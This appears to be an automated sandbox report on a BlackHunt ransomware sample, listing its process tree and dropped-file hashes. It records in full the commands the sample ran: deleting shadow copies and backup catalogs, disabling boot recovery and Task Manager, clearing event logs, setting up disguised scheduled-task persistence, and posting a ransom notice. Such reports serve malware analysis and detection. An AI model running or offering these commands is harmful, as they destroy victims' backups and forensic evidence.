                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                                                2⤵
                                                                  PID:2792
                                                                  • C:\Windows\system32\reg.exe
                                                                    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                                                    3⤵
                                                                      PID:1748
                                                                  • C:\Windows\System32\cmd.exe
                                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
                                                                    2⤵
                                                                      PID:2480
                                                                      • C:\Windows\system32\reg.exe
                                                                        reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
                                                                        3⤵
                                                                          PID:1068
                                                                      • C:\Windows\System32\cmd.exe
                                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                                                        2⤵
                                                                          PID:2576
                                                                          • C:\Windows\system32\reg.exe
                                                                            reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                                                            3⤵
                                                                              PID:2124
                                                                          • C:\Windows\System32\cmd.exe
                                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
                                                                            2⤵
                                                                              PID:2496
                                                                              • C:\Windows\system32\reg.exe
                                                                                reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
                                                                                3⤵
                                                                                  PID:1464
                                                                              • C:\Windows\System32\cmd.exe
                                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
                                                                                2⤵
                                                                                  PID:2552
                                                                                  • C:\Windows\system32\reg.exe
                                                                                    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
                                                                                    3⤵
                                                                                      PID:2216
                                                                                  • C:\Windows\System32\cmd.exe
                                                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
                                                                                    2⤵
                                                                                      PID:2352
                                                                                      • C:\Windows\system32\reg.exe
                                                                                        reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
                                                                                        3⤵
                                                                                          PID:1660
                                                                                      • C:\Windows\System32\cmd.exe
                                                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
                                                                                        2⤵
                                                                                          PID:2444
                                                                                          • C:\Windows\system32\reg.exe
                                                                                            reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
                                                                                            3⤵
                                                                                              PID:1912
                                                                                          • C:\Windows\System32\cmd.exe
                                                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
                                                                                            2⤵
                                                                                              PID:2456
                                                                                              • C:\Windows\system32\reg.exe
                                                                                                reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
                                                                                                3⤵
                                                                                                  PID:1676
                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
                                                                                                2⤵
                                                                                                  PID:2708
                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
                                                                                                    3⤵
                                                                                                      PID:1180
                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
                                                                                                    2⤵
                                                                                                      PID:2972
                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                        reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
                                                                                                        3⤵
                                                                                                          PID:1312
                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
                                                                                                        2⤵
                                                                                                          PID:3024
                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                            reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
                                                                                                            3⤵
                                                                                                              PID:2252
                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
                                                                                                            2⤵
                                                                                                              PID:2140
                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
                                                                                                                3⤵
                                                                                                                  PID:2172
                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\866bf49af5aac5bc58e7c3bbfeffcd7c8bff1f7f9ee638c104b1996ab064f56b.exe" /F
                                                                                                                2⤵
                                                                                                                  PID:2924
                                                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                                                    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\866bf49af5aac5bc58e7c3bbfeffcd7c8bff1f7f9ee638c104b1996ab064f56b.exe" /F
                                                                                                                    3⤵
                                                                                                                    • Creates scheduled task(s)
                                                                                                                    PID:2800
                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
                                                                                                                  2⤵
                                                                                                                    PID:608
                                                                                                                    • C:\Windows\system32\vssadmin.exe
                                                                                                                      vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
                                                                                                                      3⤵
                                                                                                                      • Enumerates connected drives
                                                                                                                      • Interacts with shadow copies
                                                                                                                      PID:1068
                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                    "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
                                                                                                                    2⤵
                                                                                                                      PID:764
                                                                                                                      • C:\Windows\system32\vssadmin.exe
                                                                                                                        vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
                                                                                                                        3⤵
                                                                                                                        • Enumerates connected drives
                                                                                                                        • Interacts with shadow copies
                                                                                                                        PID:2792
                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                      "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
                                                                                                                      2⤵
                                                                                                                        PID:2364
                                                                                                                        • C:\Windows\system32\vssadmin.exe
                                                                                                                          vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
                                                                                                                          3⤵
                                                                                                                          • Interacts with shadow copies
                                                                                                                          PID:1136
                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                        "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
                                                                                                                        2⤵
                                                                                                                          PID:940
                                                                                                                          • C:\Windows\system32\vssadmin.exe
                                                                                                                            vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
                                                                                                                            3⤵
                                                                                                                            • Interacts with shadow copies
                                                                                                                            PID:2448
                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                          "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
                                                                                                                          2⤵
                                                                                                                            PID:952
                                                                                                                            • C:\Windows\system32\vssadmin.exe
                                                                                                                              vssadmin.exe Delete Shadows /all /quiet
                                                                                                                              3⤵
                                                                                                                              • Interacts with shadow copies
                                                                                                                              PID:2604
                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                            "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
                                                                                                                            2⤵
                                                                                                                              PID:1756
                                                                                                                              • C:\Windows\system32\bcdedit.exe
                                                                                                                                bcdedit /set {default} recoveryenabled No
                                                                                                                                3⤵
                                                                                                                                • Modifies boot configuration data using bcdedit
                                                                                                                                PID:3060
                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                              "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                                                                                              2⤵
                                                                                                                                PID:1700
                                                                                                                                • C:\Windows\system32\bcdedit.exe
                                                                                                                                  bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                                                                                                  3⤵
                                                                                                                                  • Modifies boot configuration data using bcdedit
                                                                                                                                  PID:1772
                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
                                                                                                                                2⤵
                                                                                                                                  PID:1824
                                                                                                                                  • C:\Windows\system32\fsutil.exe
                                                                                                                                    fsutil.exe usn deletejournal /D C:
                                                                                                                                    3⤵
                                                                                                                                    • Deletes NTFS Change Journal
                                                                                                                                    PID:760
                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
                                                                                                                                  2⤵
                                                                                                                                    PID:2620
                                                                                                                                    • C:\Windows\system32\wbadmin.exe
                                                                                                                                      wbadmin.exe delete catalog -quiet
                                                                                                                                      3⤵
                                                                                                                                      • Deletes backup catalog
                                                                                                                                      PID:2288
                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                    "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                                                                                                                    2⤵
                                                                                                                                      PID:2664
                                                                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                                                                        schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                                                                                                                        3⤵
                                                                                                                                          PID:2760
                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                        "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
                                                                                                                                        2⤵
                                                                                                                                          PID:108
                                                                                                                                          • C:\Windows\system32\fsutil.exe
                                                                                                                                            fsutil usn deletejournal /D F:\
                                                                                                                                            3⤵
                                                                                                                                            • Enumerates connected drives
                                                                                                                                            PID:3160
                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                          "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
                                                                                                                                          2⤵
                                                                                                                                            PID:1152
                                                                                                                                            • C:\Windows\system32\fsutil.exe
                                                                                                                                              fsutil usn deletejournal /D C:\
                                                                                                                                              3⤵
                                                                                                                                                PID:3460
                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                              "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
                                                                                                                                              2⤵
                                                                                                                                                PID:2492
                                                                                                                                                • C:\Windows\system32\fsutil.exe
                                                                                                                                                  fsutil usn deletejournal /D M:\
                                                                                                                                                  3⤵
                                                                                                                                                  • Enumerates connected drives
                                                                                                                                                  PID:3272
                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
                                                                                                                                                2⤵
                                                                                                                                                  PID:1056
                                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                                    wevtutil.exe cl Setup
                                                                                                                                                    3⤵
                                                                                                                                                    • Clears Windows event logs
                                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                    PID:3396
                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
                                                                                                                                                  2⤵
                                                                                                                                                    PID:2932
                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                                      wevtutil.exe cl System
                                                                                                                                                      3⤵
                                                                                                                                                      • Clears Windows event logs
                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                      PID:1608
                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
                                                                                                                                                    2⤵
                                                                                                                                                      PID:1156
                                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                                        wevtutil.exe cl Application
                                                                                                                                                        3⤵
                                                                                                                                                        • Clears Windows event logs
                                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                        PID:1792
                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                      "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
                                                                                                                                                      2⤵
                                                                                                                                                        PID:1284
                                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                                          wevtutil.exe cl Security
                                                                                                                                                          3⤵
                                                                                                                                                          • Clears Windows event logs
                                                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                          PID:3008
                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                        "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
                                                                                                                                                        2⤵
                                                                                                                                                          PID:236
                                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                                            wevtutil.exe cl Security /e:false
                                                                                                                                                            3⤵
                                                                                                                                                            • Clears Windows event logs
                                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                            PID:3108
                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                          "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
                                                                                                                                                          2⤵
                                                                                                                                                            PID:1676
                                                                                                                                                            • C:\Windows\system32\vssadmin.exe
                                                                                                                                                              vssadmin.exe Delete Shadows /all /quiet
                                                                                                                                                              3⤵
                                                                                                                                                              • Interacts with shadow copies
                                                                                                                                                              PID:3128
                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                            "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
                                                                                                                                                            2⤵
                                                                                                                                                              PID:2152
                                                                                                                                                              • C:\Windows\system32\bcdedit.exe
                                                                                                                                                                bcdedit /set {default} recoveryenabled No
                                                                                                                                                                3⤵
                                                                                                                                                                • Modifies boot configuration data using bcdedit
                                                                                                                                                                PID:3260
                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                              "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                                                                                                                              2⤵
                                                                                                                                                                PID:2900
                                                                                                                                                                • C:\Windows\system32\bcdedit.exe
                                                                                                                                                                  bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                                                                                                                                  3⤵
                                                                                                                                                                  • Modifies boot configuration data using bcdedit
                                                                                                                                                                  PID:3084
                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:3032
                                                                                                                                                                  • C:\Windows\system32\fsutil.exe
                                                                                                                                                                    fsutil.exe usn deletejournal /D C:
                                                                                                                                                                    3⤵
                                                                                                                                                                    • Deletes NTFS Change Journal
                                                                                                                                                                    PID:2784
                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
                                                                                                                                                                  2⤵
                                                                                                                                                                    PID:204
                                                                                                                                                                    • C:\Windows\system32\wbadmin.exe
                                                                                                                                                                      wbadmin.exe delete catalog -quiet
                                                                                                                                                                      3⤵
                                                                                                                                                                      • Deletes backup catalog
                                                                                                                                                                      PID:3264
                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                                                                                                                                                    2⤵
                                                                                                                                                                      PID:568
                                                                                                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                                                                                                        schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                                                                                                                                                        3⤵
                                                                                                                                                                          PID:3468
                                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
                                                                                                                                                                        2⤵
                                                                                                                                                                          PID:1312
                                                                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                                                                            REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
                                                                                                                                                                            3⤵
                                                                                                                                                                              PID:3104
                                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
                                                                                                                                                                            2⤵
                                                                                                                                                                              PID:1604
                                                                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                                                                REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
                                                                                                                                                                                3⤵
                                                                                                                                                                                  PID:3456
                                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
                                                                                                                                                                                2⤵
                                                                                                                                                                                  PID:2916
                                                                                                                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
                                                                                                                                                                                    3⤵
                                                                                                                                                                                      PID:1168
                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
                                                                                                                                                                                    2⤵
                                                                                                                                                                                      PID:2840
                                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                                        reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
                                                                                                                                                                                        3⤵
                                                                                                                                                                                          PID:3240
                                                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
                                                                                                                                                                                        2⤵
                                                                                                                                                                                          PID:3064
                                                                                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                                                                                            reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
                                                                                                                                                                                            3⤵
                                                                                                                                                                                              PID:3192
                                                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
                                                                                                                                                                                            2⤵
                                                                                                                                                                                              PID:3248
                                                                                                                                                                                              • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                taskkill /IM mshta.exe /f
                                                                                                                                                                                                3⤵
                                                                                                                                                                                                • Kills process with taskkill
                                                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                PID:3484
                                                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
                                                                                                                                                                                              2⤵
                                                                                                                                                                                                PID:3212
                                                                                                                                                                                                • C:\Windows\system32\notepad.exe
                                                                                                                                                                                                  notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                    PID:3328
                                                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                    PID:1420
                                                                                                                                                                                                    • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                      "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                      • Suspicious behavior: CmdExeWriteProcessMemorySpam
                                                                                                                                                                                                      PID:3644
                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\866bf49af5aac5bc58e7c3bbfeffcd7c8bff1f7f9ee638c104b1996ab064f56b.exe"
                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                    • Deletes itself
                                                                                                                                                                                                    PID:3400
                                                                                                                                                                                                    • C:\Windows\SysWOW64\PING.EXE
                                                                                                                                                                                                      ping 127.0.0.1 -n 5
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                      • Runs ping.exe
                                                                                                                                                                                                      PID:3492
                                                                                                                                                                                                • C:\Windows\system32\vssvc.exe
                                                                                                                                                                                                  C:\Windows\system32\vssvc.exe
                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                  PID:2244
                                                                                                                                                                                                • C:\Windows\system32\wbengine.exe
                                                                                                                                                                                                  "C:\Windows\system32\wbengine.exe"
                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                  PID:2960
                                                                                                                                                                                                • C:\Windows\System32\vdsldr.exe
                                                                                                                                                                                                  C:\Windows\System32\vdsldr.exe -Embedding
                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                    PID:2692
                                                                                                                                                                                                  • C:\Windows\System32\vds.exe
                                                                                                                                                                                                    C:\Windows\System32\vds.exe
                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                    • Modifies registry class
                                                                                                                                                                                                    PID:1660

                                                                                                                                                                                                  Network

                                                                                                                                                                                                  MITRE ATT&CK Enterprise v15

                                                                                                                                                                                                  Replay Monitor

                                                                                                                                                                                                  Loading Replay Monitor...

                                                                                                                                                                                                  Downloads

                                                                                                                                                                                                  • C:\ProgramData\#BlackHunt_ReadMe.txt

                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                    684B

                                                                                                                                                                                                    MD5

                                                                                                                                                                                                    9a9887f6fb52e8d525fa7b8827fb11bd

                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                    b240a3c00926043cf2e44eca2a7c117b245caca3

                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                    a84186430f77eff37419ee30ff07e7470d63ffe810b2b7ead848822b02c898e2

                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                    19d406bee01524666f91e82732dea158c32c386ec708de55b4e36983954db435da33c2df58adc33910ef90b509c24dcbe8f9dac886d67b585bf250fe8c43f829

                                                                                                                                                                                                  • F:\#BlackHunt_Private.key

                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                    1KB

                                                                                                                                                                                                    MD5

                                                                                                                                                                                                    253c6d21d4e5b7151a1c1b8a014f7682

                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                    bbce740c272bb17c508947f1ec1096fbab33a368

                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                    a2ee97ca3a698d55f5cb6b8a0f92c5d3fb5ba8bcad971a28064b004058faf2c8

                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                    fbaf694c16306855b4e219c950387a219d809475cd1e0138b9e7509940505b7a7eb60b6261622de8658d72c774478e3fbba68d87956be65ac5043de1964e50f0

                                                                                                                                                                                                  • F:\#BlackHunt_ReadMe.hta

                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                    12KB

                                                                                                                                                                                                    MD5

                                                                                                                                                                                                    9eaa08af0632fe93b4c31f0d6ee4f327

                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                    b5aaabf485ca8af3bd7a125c9585c470d94de40b

                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                    d4cf47997d6ecf96ab2193cd5fd9863e37e66c47fedc3859ea4e60fa04188b1e

                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                    95fac5dc35ed406be24945ad79626f518202b2a65298821ca926afd71475e5d6739b9d0647b341aee32345a3814422c942f177ca1be3a550fdc664190d940254